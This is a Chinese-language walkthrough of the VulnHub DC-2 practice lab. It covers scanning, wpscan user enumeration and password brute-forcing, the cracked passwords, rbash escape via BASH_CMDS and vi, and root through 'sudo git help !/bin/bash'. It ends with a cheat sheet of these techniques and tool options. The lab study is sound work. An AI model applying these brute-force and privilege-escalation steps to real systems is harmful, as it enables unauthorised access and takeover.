2.vulnhub渗透测试综合靶场DC-2
2. **vulnhub渗透测试综合靶场DC-**2
信息收集
1.*寻找靶机地址*
使用nmap工具进行扫描,找到192.168.200.146
2.*访问靶机地址*
发现自动跳到DC-2。由此可以判断进行了重定向。需要我们本地绑定dns
3.*映射放到hosts最后一行*
C:\Windows\System32\drivers\etc\hosts
192.168.200.146 dc-2
4.*访问成功*
5.*查看信息*
通过浏览器Wappalyzer插件,可以看到,本站内容管理系统(CMS)WordPress4.7.10,编程语言为PHP,Debian操作系统,mysql数据库,Web 服务器Apache HTTPServer2.4.10
6.*用dirb**工具**来挖目录*
dirb http://dc-2
扫描到了http://dc-2/wp-admin/user/admin.php登录页面
渗透测试
因为本站是Wordpress,我们可以利用扫描工具wpscan
wpscan --url http://dc-2/ -e u //枚举用户名字
我们发现了三个用户名:admin、jerry、tom
将用户名保存到user.txt文件内,使用wpscan爆破账号密码。
wpscan --url http://dc-2/ -U user.txt -P password.txt
通过刚才账号密码爆破,成功爆破出密码
[SUCCESS] - jerry/adipiscing
[SUCCESS] - tom/parturient
成功登录
在网页上随便点点,找到了flag
使用nmap扫描详细信息,找到了7744的ssh端口
nmap.exe -A -p1-65535 192.168.200.146
我们尝试登录jerry账户,ssh jerry@192.168.200.146 -p 7744,密码使用的adipiscing,试了3次都不对。
再次尝试用tom账户测试,密码parturient,登陆成功,看到目录下有flag3.txt文件,cat查看,但是报错。
使用compgen -c //查看可以使用的指令
发现使用vi编辑命令能够查看到文件内容
使用命令:BASH_CMDS[a]=/bin/sh;a
发现了flag4.txt
提示我们还没有拿到最后的flag
拿到jerry用户权限
export -p //查看环境变量
BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/ //添加环境变量
export PATH=$PATH:/usr/bin //添加环境变量
获取root权限
输入sudo git help status命令后,直接在末行添加!/bin/bash
成功拿到root权限
找到final-flag.txt,结束
本次渗透测试学习收获
*git提权(Linux)*
sudo git help config
!/bin/bash或者!'sh'完成提权
sudo git -p help
!/bin/bash
*rbash绕过*
*方法一:随便编辑个文件,在末行模式下输入命令*
vi:set shell=/bin/sh
再到末行模式下shell
*方法二:*
BASH_CMDS[a]=/bin/sh;a 注:把/bin/bash给a变量`
export PATH=$PATH:/bin/ 注:将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin 注:将/usr/bin作为PATH环境变量导出
*WordPress扫描工具*
wpscan --url https://www.xxxxx.xxx
*爆破账号密码*
wpscan --url https://www.xxxxx.xxx/ -U user.txt -P password.txt
参数:
--update 更新到最新版本
--url | -u <target url> 要扫描的`WordPress`站点.
--force | -f 不检查网站运行的是不是`WordPress`
--enumerate | -e [option(s)] 枚举
*dirb**目录爆破*
***\*#192.168.186.131为目标IP地址\****
dirb http://192.168.186.131/
***\*列举具有特定扩展名列表的目录\****
dirb http://192.168.186.131/ -X .php #192.168.186.131为目标IP地址,.php为我们需要搜索的指定扩展名文件
***\*将输出保存到磁盘\****
dirb http://192.168.186.131/ -o output.txt #192.168.186.131为目标IP地址,output.txt为将输出保存的文件名
***\*忽略不必要的\****[***\*状态码\****](https://so.csdn.net/so/search?q=状态码&spm=1001.2101.3001.7020)
dirb http://192.168.186.131/ -N 302 #192.168.186.131为目标IP地址,302为我们忽略的状态码
***\*不递归(-r)\****
dirb http://192.168.186.131/ -r #192.168.186.131为目标IP地址
参数 执行效果
-a 设置user-agent
-p<proxy[:port]> 设置代理
-c 设置cookie
-z 添加毫秒延迟,避免洪水攻击
-o 输出结果
-X 在每个字典的后面添加一个后缀
-H 添加请求头
-i 不区分大小写搜索